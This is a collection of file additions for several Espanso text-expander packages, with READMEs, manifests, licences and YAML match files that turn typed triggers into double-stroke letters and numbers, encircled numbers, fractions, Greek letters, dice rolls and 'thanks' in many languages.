| `;//x` | `𝕩` |
| `;//y` | `𝕪` |
| `;//z` | `𝕫` |
## Contribute
Please, feel free to contribute to this package on [GitHub](https://github.com/kopach/espanso-package-double-stroke-letters)
## 📄 License
This espanso package licensed under the [MIT](https://github.com/kopach/espanso-package-double-stroke-letters/blob/master/LICENSE)

View File

@@ -0,0 +1,7 @@
author: Ihor Kopach (https://kopach.dev)
description: Easy write 𝕕𝕠𝕦𝕓𝕝𝕖 𝕤𝕥𝕣𝕠𝕜𝕖 𝕝𝕖𝕥𝕥𝕖𝕣𝕤
name: double-stroke-letters
title: Double stroke letters
version: 1.0.0
homepage: 'https://github.com/kopach/espanso-package-double-stroke-letters'
tags: ["symbols", "letters"]

View File

@@ -0,0 +1,2 @@
---
hub

View File

@@ -0,0 +1,109 @@
matches:
# {{{ Double Stroke Letters
# https;//www.webnots.com/alt-code-shortcuts-for-double-stroke-letters-and-numbers/
- trigger: ';//A'
replace: '𝔸'
- trigger: ';//B'
replace: '𝔹'
- trigger: ';//C'
replace: ''
- trigger: ';//D'
replace: '𝔻'
- trigger: ';//E'
replace: '𝔼'
- trigger: ';//F'
replace: '𝔽'
- trigger: ';//G'
replace: '𝔾'
- trigger: ';//H'
replace: ''
- trigger: ';//I'
replace: '𝕀'
- trigger: ';//J'
replace: '𝕁'
- trigger: ';//K'
replace: '𝕂'
- trigger: ';//L'
replace: '𝕃'
- trigger: ';//M'
replace: '𝕄'
- trigger: ';//N'
replace: ''
- trigger: ';//O'
replace: '𝕆'
- trigger: ';//P'
replace: ''
- trigger: ';//Q'
replace: ''
- trigger: ';//R'
replace: ''
- trigger: ';//S'
replace: '𝕊'
- trigger: ';//T'
replace: '𝕋'
- trigger: ';//U'
replace: '𝕌'
- trigger: ';//V'
replace: '𝕍'
- trigger: ';//W'
replace: '𝕎'
- trigger: ';//X'
replace: '𝕏'
- trigger: ';//Y'
replace: '𝕐'
- trigger: ';//Z'
replace: ''
- trigger: ';//a'
replace: '𝕒'
- trigger: ';//b'
replace: '𝕓'
- trigger: ';//c'
replace: '𝕔'
- trigger: ';//d'
replace: '𝕕'
- trigger: ';//e'
replace: '𝕖'
- trigger: ';//f'
replace: '𝕗'
- trigger: ';//g'
replace: '𝕘'
- trigger: ';//h'
replace: '𝕙'
- trigger: ';//i'
replace: '𝕚'
- trigger: ';//j'
replace: '𝕛'
- trigger: ';//k'
replace: '𝕜'
- trigger: ';//l'
replace: '𝕝'
- trigger: ';//m'
replace: '𝕞'
- trigger: ';//n'
replace: '𝕟'
- trigger: ';//o'
replace: '𝕠'
- trigger: ';//p'
replace: '𝕡'
- trigger: ';//q'
replace: '𝕢'
- trigger: ';//r'
replace: '𝕣'
- trigger: ';//s'
replace: '𝕤'
- trigger: ';//t'
replace: '𝕥'
- trigger: ';//u'
replace: '𝕦'
- trigger: ';//v'
replace: '𝕧'
- trigger: ';//w'
replace: '𝕨'
- trigger: ';//x'
replace: '𝕩'
- trigger: ';//y'
replace: '𝕪'
- trigger: ';//z'
replace: '𝕫'
# }}}

View File

@@ -0,0 +1,21 @@
MIT License
Copyright (c) 2021 Ihor Kopach https://github.com/kopach
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.

View File

@@ -0,0 +1,36 @@
# 𝟙𝟚𝟛 Double stroke numbers
[Espanso](https://espanso.org) package to easy write Double stroke numbers.
⭐️ Consider to star this package on [GitHub](https://github.com/kopach/espanso-package-double-stroke-numbers/stargazers) — it helps!
[✨ 👉 Check out my other espanso packages 👈 ✨](https://github.com/kopach?tab=repositories&q=espanso-package&type=source)
<h1 align="center">
![demo](https://github.com/kopach/espanso-package-double-stroke-numbers/raw/main/assets/demo.gif)
</h1>
## Triggers
| Keyword | Replaced |
| ------- | -------- |
| `;//0` | `𝟘` |
| `;//1'` | `𝟙` |
| `;//2'` | `𝟚` |
| `;//3'` | `𝟛` |
| `;//4'` | `𝟜` |
| `;//5'` | `𝟝` |
| `;//6'` | `𝟞` |
| `;//7'` | `𝟟` |
| `;//8'` | `𝟠` |
| `;//9'` | `𝟡` |
## Contribute
Please, feel free to contribute to this package on [GitHub](https://github.com/kopach/espanso-package-double-stroke-numbers)
## 📄 License
This espanso package licensed under the [MIT](https://github.com/kopach/espanso-package-double-stroke-numbers/blob/master/LICENSE)

View File

@@ -0,0 +1,7 @@
author: Ihor Kopach (https://kopach.dev)
description: "Easy write double stroke numbers: 𝟙𝟚𝟛"
name: double-stroke-numbers
title: Double stroke numbers
version: 1.0.0
homepage: 'https://github.com/kopach/espanso-package-double-stroke-numbers'
tags: ["symbols", "numbers"]

View File

@@ -0,0 +1,2 @@
---
hub

View File

@@ -0,0 +1,25 @@
matches:
# {{{ Double Stroke Numbers
# https://www.webnots.com/alt-code-shortcuts-for-double-stroke-letters-and-numbers/
- trigger: ';//0'
replace: '𝟘'
- trigger: ';//1'
replace: '𝟙'
- trigger: ';//2'
replace: '𝟚'
- trigger: ';//3'
replace: '𝟛'
- trigger: ';//4'
replace: '𝟜'
- trigger: ';//5'
replace: '𝟝'
- trigger: ';//6'
replace: '𝟞'
- trigger: ';//7'
replace: '𝟟'
- trigger: ';//8'
replace: '𝟠'
- trigger: ';//9'
replace: '𝟡'
# }}}

View File

@@ -0,0 +1,21 @@
MIT License
Copyright (c) 2021 Ihor Kopach https://github.com/kopach
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.

View File

@@ -0,0 +1,105 @@
# ①❷③ Encircled numbers
[Espanso](https://espanso.org) package to easy write encircled or enclosed numbers.
⭐️ Consider to star this package on [GitHub](https://github.com/kopach/espanso-package-encircled-numbers/stargazers) — it helps!
[✨ 👉 Check out my other espanso packages 👈 ✨](https://github.com/kopach?tab=repositories&q=espanso-package&type=source)
<h1 align="center">
![demo](https://github.com/kopach/espanso-package-encircled-numbers/raw/main/assets/demo.gif)
</h1>
## Triggers
### Encircled numbers 0-50
| Keyword | Replaced |
| ------- | -------- |
| `;o0` | `⓪` |
| `;o1` | `①` |
| `;o2` | `②` |
| `;o3` | `③` |
| `;o4` | `④` |
| `;o5` | `⑤` |
| `;o6` | `⑥` |
| `;o7` | `⑦` |
| `;o8` | `⑧` |
| `;o9` | `⑨` |
| `;o.10` | `⑩` |
| `;o.11` | `⑪` |
| `;o.12` | `⑫` |
| `;o.13` | `⑬` |
| `;o.14` | `⑭` |
| `;o.15` | `⑮` |
| `;o.16` | `⑯` |
| `;o.17` | `⑰` |
| `;o.18` | `⑱` |
| `;o.19` | `⑲` |
| `;o.20` | `⑳` |
| `;o.21` | `㉑` |
| `;o.22` | `㉒` |
| `;o.23` | `㉓` |
| `;o.24` | `㉔` |
| `;o.25` | `㉕` |
| `;o.26` | `㉖` |
| `;o.27` | `㉗` |
| `;o.28` | `㉘` |
| `;o.29` | `㉙` |
| `;o.30` | `㉚` |
| `;o.31` | `㉛` |
| `;o.32` | `㉜` |
| `;o.33` | `㉝` |
| `;o.34` | `㉞` |
| `;o.35` | `㉟` |
| `;o.36` | `㊱` |
| `;o.37` | `㊲` |
| `;o.38` | `㊳` |
| `;o.39` | `㊴` |
| `;o.40` | `㊵` |
| `;o.41` | `㊶` |
| `;o.42` | `㊷` |
| `;o.43` | `㊸` |
| `;o.44` | `㊹` |
| `;o.45` | `㊺` |
| `;o.46` | `㊻` |
| `;o.47` | `㊼` |
| `;o.48` | `㊽` |
| `;o.49` | `㊾` |
| `;o.50` | `㊿` |
### Negative encircled numbers 0-20
| Keyword | Replaced |
| -------- | -------- |
| `;no0` | `⓿` |
| `;no1` | `❶` |
| `;no2` | `❷` |
| `;no3` | `❸` |
| `;no4` | `❹` |
| `;no5` | `❺` |
| `;no6` | `❻` |
| `;no7` | `❼` |
| `;no8` | `❽` |
| `;no9` | `❾` |
| `;no.10` | `❿` |
| `;no.11` | `⓫` |
| `;no.12` | `⓬` |
| `;no.13` | `⓭` |
| `;no.14` | `⓮` |
| `;no.15` | `⓯` |
| `;no.16` | `⓰` |
| `;no.17` | `⓱` |
| `;no.18` | `⓲` |
| `;no.19` | `⓳` |
| `;no.20` | `⓴` |
## Contribute
Please, feel free to contribute to this package on [GitHub](https://github.com/kopach/espanso-package-encircled-numbers)
## 📄 License
This espanso package licensed under the [MIT](https://github.com/kopach/espanso-package-encircled-numbers/blob/master/LICENSE)

View File

@@ -0,0 +1,7 @@
author: Ihor Kopach (https://kopach.dev)
description: "Easy write encircled or enclosed numbers: ①❷③"
name: encircled-numbers
title: Encircled numbers
version: 1.0.0
homepage: "https://github.com/kopach/espanso-package-encircled-numbers"
tags: ["symbols", "numbers"]

View File

@@ -0,0 +1,2 @@
---
hub

View File

@@ -0,0 +1,153 @@
matches:
# {{{ Encircled numbers 0-50
# https://www.webnots.com/alt-code-shortcuts-for-encircled-numbers/
- trigger: ';o0'
replace: '⓪'
- trigger: ';o1'
replace: '①'
- trigger: ';o2'
replace: '②'
- trigger: ';o3'
replace: '③'
- trigger: ';o4'
replace: '④'
- trigger: ';o5'
replace: '⑤'
- trigger: ';o6'
replace: '⑥'
- trigger: ';o7'
replace: '⑦'
- trigger: ';o8'
replace: '⑧'
- trigger: ';o9'
replace: '⑨'
- trigger: ';o.10'
replace: '⑩'
- trigger: ';o.11'
replace: '⑪'
- trigger: ';o.12'
replace: '⑫'
- trigger: ';o.13'
replace: '⑬'
- trigger: ';o.14'
replace: '⑭'
- trigger: ';o.15'
replace: '⑮'
- trigger: ';o.16'
replace: '⑯'
- trigger: ';o.17'
replace: '⑰'
- trigger: ';o.18'
replace: '⑱'
- trigger: ';o.19'
replace: '⑲'
- trigger: ';o.20'
replace: '⑳'
- trigger: ';o.21'
replace: '㉑'
- trigger: ';o.22'
replace: '㉒'
- trigger: ';o.23'
replace: '㉓'
- trigger: ';o.24'
replace: '㉔'
- trigger: ';o.25'
replace: '㉕'
- trigger: ';o.26'
replace: '㉖'
- trigger: ';o.27'
replace: '㉗'
- trigger: ';o.28'
replace: '㉘'
- trigger: ';o.29'
replace: '㉙'
- trigger: ';o.30'
replace: '㉚'
- trigger: ';o.31'
replace: '㉛'
- trigger: ';o.32'
replace: '㉜'
- trigger: ';o.33'
replace: '㉝'
- trigger: ';o.34'
replace: '㉞'
- trigger: ';o.35'
replace: '㉟'
- trigger: ';o.36'
replace: '㊱'
- trigger: ';o.37'
replace: '㊲'
- trigger: ';o.38'
replace: '㊳'
- trigger: ';o.39'
replace: '㊴'
- trigger: ';o.40'
replace: '㊵'
- trigger: ';o.41'
replace: '㊶'
- trigger: ';o.42'
replace: '㊷'
- trigger: ';o.43'
replace: '㊸'
- trigger: ';o.44'
replace: '㊹'
- trigger: ';o.45'
replace: '㊺'
- trigger: ';o.46'
replace: '㊻'
- trigger: ';o.47'
replace: '㊼'
- trigger: ';o.48'
replace: '㊽'
- trigger: ';o.49'
replace: '㊾'
- trigger: ';o.50'
replace: '㊿'
# }}}
# {{{ Negative encircled numbers 0-20
# https://www.webnots.com/alt-code-shortcuts-for-encircled-numbers/
- trigger: ';no0'
replace: '⓿'
- trigger: ';no1'
replace: '❶'
- trigger: ';no2'
replace: '❷'
- trigger: ';no3'
replace: '❸'
- trigger: ';no4'
replace: '❹'
- trigger: ';no5'
replace: '❺'
- trigger: ';no6'
replace: '❻'
- trigger: ';no7'
replace: '❼'
- trigger: ';no8'
replace: '❽'
- trigger: ';no9'
replace: '❾'
- trigger: ';no.10'
replace: '❿'
- trigger: ';no.11'
replace: '⓫'
- trigger: ';no.12'
replace: '⓬'
- trigger: ';no.13'
replace: '⓭'
- trigger: ';no.14'
replace: '⓮'
- trigger: ';no.15'
replace: '⓯'
- trigger: ';no.16'
replace: '⓰'
- trigger: ';no.17'
replace: '⓱'
- trigger: ';no.18'
replace: '⓲'
- trigger: ';no.19'
replace: '⓳'
- trigger: ';no.20'
replace: '⓴'
# }}}

View File

@@ -0,0 +1,16 @@
# Espanso Dice
Espanso text expander package with common die types.
To use, type ".roll dnumber of die sides" followed by a space.
## Dice currently supported:
- d2
- d3
- d4
- d6
- d8
- d10
- d12
- d20
- d100 (aka d00)
- d1000 (aka d000)

View File

@@ -0,0 +1,7 @@
author: Craftidore
description: Dice emulator using the espanso random function.
homepage: https://github.com/Craftidore/espanso-dice
name: espanso-dice
title: Espanso Dice
version: 0.1.0
tags: ["utility", "fun", "dice"]

View File

@@ -0,0 +1,2 @@
---
hub

View File

@@ -0,0 +1,210 @@
# Espanso Dice
matches:
- triggers: [".roll d2", ".r d2"]
word: true
replace: "d2: {{output}}"
vars:
- name: output
type: random
params:
choices:
- "1"
- "2"
- triggers: [".roll d3", ".r d3"]
word: true
replace: "d3: {{output}}"
vars:
- name: output
type: random
params:
choices:
- "1"
- "2"
- "3"
- triggers: [".roll d4", ".r d4"]
word: true
replace: "d4: {{output}}"
vars:
- name: output
type: random
params:
choices:
- "1"
- "2"
- "3"
- "4"
- triggers: [".roll d6", ".r d6"]
word: true
replace: "d6: {{output}}"
vars:
- name: output
type: random
params:
choices:
- "1"
- "2"
- "3"
- "4"
- "5"
- "6"
- triggers: [".roll d8", ".r d8"]
word: true
replace: "d8: {{output}}"
vars:
- name: output
type: random
params:
choices:
- "1"
- "2"
- "3"
- "4"
- "5"
- "6"
- "7"
- "8"
- triggers: [".roll d10", ".r d10"]
word: true
replace: "d10: {{output}}"
vars:
- name: output
type: random
params:
choices:
- "1"
- "2"
- "3"
- "4"
- "5"
- "6"
- "7"
- "8"
- "9"
- "10"
- triggers: [".roll d12", ".r d12"]
word: true
replace: "d12: {{output}}"
vars:
- name: output
type: random
params:
choices:
- "1"
- "2"
- "3"
- "4"
- "5"
- "6"
- "7"
- "8"
- "9"
- "10"
- "11"
- "12"
- triggers: [".roll d20", ".r d20"]
word: true
replace: "d20: {{output}}"
vars:
- name: output
type: random
params:
choices:
- "1"
- "2"
- "3"
- "4"
- "5"
- "6"
- "7"
- "8"
- "9"
- "10"
- "11"
- "12"
- "13"
- "14"
- "15"
- "16"
- "17"
- "18"
- "19"
- "20"
- triggers: [".roll d100", ".roll d00", ".r d100", ".r d00"]
word: true
replace: "d100: {{output1}}{{output2}}"
vars:
- name: output1
type: random
params:
choices:
- "1"
- "2"
- "3"
- "4"
- "5"
- "6"
- "7"
- "8"
- "9"
- "10"
- name: output2
type: random
params:
choices:
- "1"
- "2"
- "3"
- "4"
- "5"
- "6"
- "7"
- "8"
- "9"
- "0"
- triggers: [".roll d1000", ".roll d000", ".r d1000", ".r d000"]
word: true
replace: "d1000: {{output1}}{{output2}}{{output3}}"
vars:
- name: output1
type: random
params:
choices:
- "1"
- "2"
- "3"
- "4"
- "5"
- "6"
- "7"
- "8"
- "9"
- "10"
- name: output2
type: random
params:
choices:
- "1"
- "2"
- "3"
- "4"
- "5"
- "6"
- "7"
- "8"
- "9"
- "0"
- name: output3
type: random
params:
choices:
- "1"
- "2"
- "3"
- "4"
- "5"
- "6"
- "7"
- "8"
- "9"
- "0"

View File

@@ -0,0 +1,37 @@
This package will allow you to use unicode fractions in your typing:
:1/4 → ¼
:1/2 → ½
:3/4 → ¾
:1/7 → ⅐
:1/9 → ⅑
:1/10 → ⅒
:1/3 → ⅓
:2/3 → ⅔
:1/5 → ⅕
:2/5 → ⅖
:3/5 → ⅗
:4/5 → ⅘
:1/6 → ⅙
:5/6 → ⅚
:1/8 → ⅛
:3/8 → ⅜
:5/8 → ⅝
:7/8 → ⅞

View File

@@ -0,0 +1,7 @@
author: Andrew Pastuszak
description: A package allowing you to use unicode fractions
name: espanso-fractions
title: Unicode Fractions
version: 0.1.0
homepage: "https://github.com/apastuszak/espanso-package-fractions"
tags: ["symbols", "numbers", "fractions", "math"]

View File

@@ -0,0 +1,2 @@
---
hub

View File

@@ -0,0 +1,37 @@
matches:
- trigger: ":1/4"
replace: "¼"
- trigger: ":1/2"
replace: "½"
- trigger: ":3/4"
replace: "¾"
- trigger: ":1/7"
replace: "⅐"
- trigger: ":1/9"
replace: "⅑"
- trigger: ":1/10"
replace: "⅒"
- trigger: ":1/3"
replace: "⅓"
- trigger: ":2/3"
replace: "⅔"
- trigger: ":1/5"
replace: "⅕"
- trigger: ":2/5"
replace: "⅖"
- trigger: ":3/5"
replace: "⅗"
- trigger: ":4/5"
replace: "⅘"
- trigger: ":1/6"
replace: "⅙"
- trigger: ":5/6"
replace: "⅚"
- trigger: ":1/8"
replace: "⅛"
- trigger: ":3/8"
replace: "⅜"
- trigger: ":5/8"
replace: "⅝"
- trigger: ":7/8"
replace: "⅞"

View File

@@ -0,0 +1,21 @@
MIT License
Copyright (c) 2022 Ihor Kopach https://github.com/kopach
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.

View File

@@ -0,0 +1,72 @@
# 🌐 Foreign Thanks
[Espanso](https://espanso.org) package to easy say Thanks in different languages.
⭐️ Consider to star this package on [GitHub](https://github.com/kopach/espanso-package-foreign-thanks/stargazers) — it helps!
[✨ 👉 Check out my other espanso packages 👈 ✨](https://github.com/kopach?tab=repositories&q=espanso-package&type=source)
<h1 align="center">
![demo](https://github.com/kopach/espanso-package-foreign-thanks/blob/main/assets/demo.gif)
</h1>
## Installation
Make sure you have already installed [Espanso](https://espanso.org/install) first.
### Install with `espanso install`
> https://hub.espanso.org/foreign-thanks
```sh
espanso install foreign-thanks
```
That's all. You can start using the package.
## Triggers
| Keywords | Replaced |
| -------- | -------- |
| `:arthx`, `:arabicthx`, `:arabicthanks` | شكرا |
| `:hythx`, `:armenianthx`, `:armenianthanks` | Շնորհակալություն |
| `:euthx`, `:basquethx`, `:basquethanks` | Eskerrik asko |
| `:bethx`, `:belarusianthx`, `:belarusianthanks` | Дзякуй |
| `:zhthx`, `:chinesethx`, `:chinesethanks` | 谢谢 |
| `:csthx`, `:czechthx`, `:czechthanks` | Díky |
| `:nlthx`, `:dutchthx`, `:dutchthanks` | Dank je wel |
| `:tlthx`, `:filipinothx`, `:filipinothanks` | Salamat |
| `:fithx`, `:finnishthx`, `:finnishthanks` | Kiitos |
| `:frthx`, `:frenchthx`, `:frenchthanks` | Merci |
| `:dethx`, `:germanthx`, `:germanthanks` | Danke |
| `:hithx`, `:hindithx`, `:hindithanks` | धन्यवाद |
| `:isthx`, `:icelandicthx`, `:icelandicthanks` | Takk |
| `:idthx`, `:indonesianthx`, `:indonesianthanks` | Terima kasih |
| `:itthx`, `:italianthx`, `:italianthanks` | Grazie |
| `:jathx`, `:japanesethx`, `:japanesethanks` | ありがとうございます |
| `:tlhthx`, `:klingonthx`, `:klingonthanks` | Qa tlho' |
| `:kothx`, `:koreanthx`, `:koreanthanks` | 감사합니다 |
| `:psthx`, `:pashtothx`, `:pashtothanks` | ډیره مننه |
| `:fathx`, `:persianthx`, `:persianthanks` | متشکرم |
| `:plthx`, `:polishthx`, `:polishthanks` | Dzięki |
| `:rothx`, `:romanianthx`, `:romanianthanks` | Multumesc |
| `:esthx`, `:spanishthx`, `:spanishthanks` | Gracias |
| `:svthx`, `:swedishthx`, `:swedishthanks` | Tack |
| `:trthx`, `:turkishthx`, `:turkishthanks` | Sağol |
| `:ukthx`, `:ukrainianthx`, `:ukrainianthanks` | Дякую |
| `:urthx`, `:urduthx`, `:urduthanks` | شکریہ |
| `:vithx`, `:vietnamesethx`, `:vietnamesethanks` | Cảm ơn |
## Contribute
Please, feel free to contribute to this package on [GitHub](https://github.com/kopach/espanso-package-foreign-thanks)
## Credits
Inspired by [Foreign Thanks](https://snippets.textexpander.com/group/a3c4abfa3e21d9d77cd0542d6ce69f20) for [Text Expander](https://textexpander.com) app
## 📄 License
This espanso package licensed under the [MIT](https://github.com/kopach/espanso-package-foreign-thanks/blob/master/LICENSE)

View File

@@ -0,0 +1,11 @@
author: Ihor Kopach (https://kopach.dev)
description: 🌐 Espanso package to easy say Thanks in different languages
homepage: https://github.com/kopach/espanso-package-foreign-thanks#readme
name: foreign-thanks
tags:
- greetings
- languages
- phrases
- communication
title: Foreign Thanks
version: 1.1.0

View File

@@ -0,0 +1,2 @@
---
hub

View File

@@ -0,0 +1,141 @@
matches:
- replace: شكرا
triggers:
- ':arthx'
- ':arabicthx'
- ':arabicthanks'
- replace: Շնորհակալություն
triggers:
- ':hythx'
- ':armenianthx'
- ':armenianthanks'
- replace: Eskerrik asko
triggers:
- ':euthx'
- ':basquethx'
- ':basquethanks'
- replace: Дзякуй
triggers:
- ':bethx'
- ':belarusianthx'
- ':belarusianthanks'
- replace: 谢谢
triggers:
- ':zhthx'
- ':chinesethx'
- ':chinesethanks'
- replace: Díky
triggers:
- ':csthx'
- ':czechthx'
- ':czechthanks'
- replace: Dank je wel
triggers:
- ':nlthx'
- ':dutchthx'
- ':dutchthanks'
- replace: Salamat
triggers:
- ':tlthx'
- ':filipinothx'
- ':filipinothanks'
- replace: Kiitos
triggers:
- ':fithx'
- ':finnishthx'
- ':finnishthanks'
- replace: Merci
triggers:
- ':frthx'
- ':frenchthx'
- ':frenchthanks'
- replace: Danke
triggers:
- ':dethx'
- ':germanthx'
- ':germanthanks'
- replace: धन्यवाद
triggers:
- ':hithx'
- ':hindithx'
- ':hindithanks'
- replace: Takk
triggers:
- ':isthx'
- ':icelandicthx'
- ':icelandicthanks'
- replace: Terima kasih
triggers:
- ':idthx'
- ':indonesianthx'
- ':indonesianthanks'
- replace: Grazie
triggers:
- ':itthx'
- ':italianthx'
- ':italianthanks'
- replace: ありがとうございます
triggers:
- ':jathx'
- ':japanesethx'
- ':japanesethanks'
- replace: Qa tlho'
triggers:
- ':tlhthx'
- ':klingonthx'
- ':klingonthanks'
- replace: 감사합니다
triggers:
- ':kothx'
- ':koreanthx'
- ':koreanthanks'
- replace: ډیره مننه
triggers:
- ':psthx'
- ':pashtothx'
- ':pashtothanks'
- replace: متشکرم
triggers:
- ':fathx'
- ':persianthx'
- ':persianthanks'
- replace: Dzięki
triggers:
- ':plthx'
- ':polishthx'
- ':polishthanks'
- replace: Multumesc
triggers:
- ':rothx'
- ':romanianthx'
- ':romanianthanks'
- replace: Gracias
triggers:
- ':esthx'
- ':spanishthx'
- ':spanishthanks'
- replace: Tack
triggers:
- ':svthx'
- ':swedishthx'
- ':swedishthanks'
- replace: Sağol
triggers:
- ':trthx'
- ':turkishthx'
- ':turkishthanks'
- replace: Дякую
triggers:
- ':ukthx'
- ':ukrainianthx'
- ':ukrainianthanks'
- replace: شکریہ
triggers:
- ':urthx'
- ':urduthx'
- ':urduthanks'
- replace: Cảm ơn
triggers:
- ':vithx'
- ':vietnamesethx'
- ':vietnamesethanks'

View File

@@ -0,0 +1,21 @@
MIT License
Copyright (c) 2021 José Ferreira
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.

View File

@@ -0,0 +1,59 @@
# Available matches
| Trigger | Replace |
|-------------|-----------|
| :Alpha: | Α |
| :alpha: | α |
| :Beta: | Β |
| :beta: | β |
| :varbeta: | ϐ |
| :Delta: | Δ |
| :delta: | δ |
| :Epsilon: | Ε |
| :epsilon: | ϵ |
| :varepsilon | ε |
| :Phi: | Φ |
| :phi: | 𝜙 |
| :varphi: | φ |
| :Gamma: | Γ |
| :gamma: | γ |
| :Eta: | Η |
| :eta: | η |
| :Iota: | Ι |
| :iota: | ι |
| :Theta: | Θ |
| :theta: | θ |
| :vartheta: | ϑ |
| :Kappa: | Κ |
| :kappa: | κ |
| :varkappa | ϰ |
| :Lambda: | Λ |
| :lambda: | λ |
| :Mu: | Μ |
| :mu: | μ |
| :Nu: | Ν |
| :nu: | ν |
| :Omicron: | Ο |
| :omicron: | ο |
| :Pi: | Π |
| :pi: | π |
| :varpi: | ϖ |
| :Chi: | Χ |
| :chi: | χ |
| :Rho: | Ρ |
| :rho: | ρ |
| :varrho | ϱ |
| :Sigma: | Σ |
| :sigma: | σ |
| :varsigma: | ς |
| :Tau: | Τ |
| :tau: | τ |
| :Upsilon: | Υ |
| :upsilon: | υ |
| :Omega: | Ω |
| :omega: | ω |
| :Xi: | Ξ |
| :xi: | ξ |
| :Psi: | Ψ |
| :psi: | ψ |
| :Zeta: | Ζ |
| :zeta: | ζ |

View File

@@ -0,0 +1,8 @@
author: "Jos\xE9 Ferreira"
description: A package containing most of the Greek alphabet and some common variatons
using Latex based naming scheme
name: greek-letters-improved
title: Greek Letters based on Latex
version: 0.1.0
homepage: "https://github.com/jpmvferreira/espanso-mega-pack"
tags: ["greek", "languages", "latex", "math"]

View File

@@ -0,0 +1,2 @@
---
hub

View File

@@ -0,0 +1,174 @@
matches:
- triggers: [":Alpha:", ":A:"]
replace: "Α"
- triggers: [":alpha:", ":a:"]
replace: "α"
- triggers: [":Beta:", ":B:"]
replace: "Β"
- triggers: [":beta:", ":b:"]
replace: "β"
- triggers: [":varbeta:", ":vb:"]
replace: "ϐ"
- triggers: [":Delta:", ":D:"]
replace: "Δ"
- triggers: [":delta:", ":d:"]
replace: "δ"
- triggers: [":Epsilon:", ":E:"]
replace: "Ε"
- triggers: [":epsilon:", ":e:"]
replace: "ϵ"
- triggers: [":varepsilon", ":ve:"]
replace: "ε"
- triggers: [":Phi:", ":P:"]
replace: "Φ"
- triggers: [":phi:", ":p:"]
replace: "𝜙"
- triggers: [":varphi:", ":vp:"]
replace: "φ"
- triggers: [":Gamma:", ":G:"]
replace: "Γ"
- triggers: [":gamma:", ":g:"]
replace: "γ"
- triggers: [":Eta:", ":E:"]
replace: "Η"
- triggers: [":eta:", ":e:"]
replace: "η"
- triggers: [":Iota:", ":I:"]
replace: "Ι"
- triggers: [":iota:", ":i:"]
replace: "ι"
- triggers: [":Theta:", ":T:"]
replace: "Θ"
- triggers: [":theta:", ":t:"]
replace: "θ"
- triggers: [":vartheta:", ":vt:"]
replace: "ϑ"
- triggers: [":Kappa:", ":K:"]
replace: "Κ"
- triggers: [":kappa:", ":k:"]
replace: "κ"
- triggers: [":varkappa", ":vk:"]
replace: "ϰ"
- triggers: [":Lambda:", ":L:"]
replace: "Λ"
- triggers: [":lambda:", ":l:"]
replace: "λ"
- triggers: [":Mu:", ":M:"]
replace: "Μ"
- triggers: [":mu:", ":m:"]
replace: "μ"
- triggers: [":Nu:", ":N:"]
replace: "Ν"
- triggers: [":nu:", ":n:"]
replace: "ν"
- trigger: ":Omicron:"
replace: "Ο"
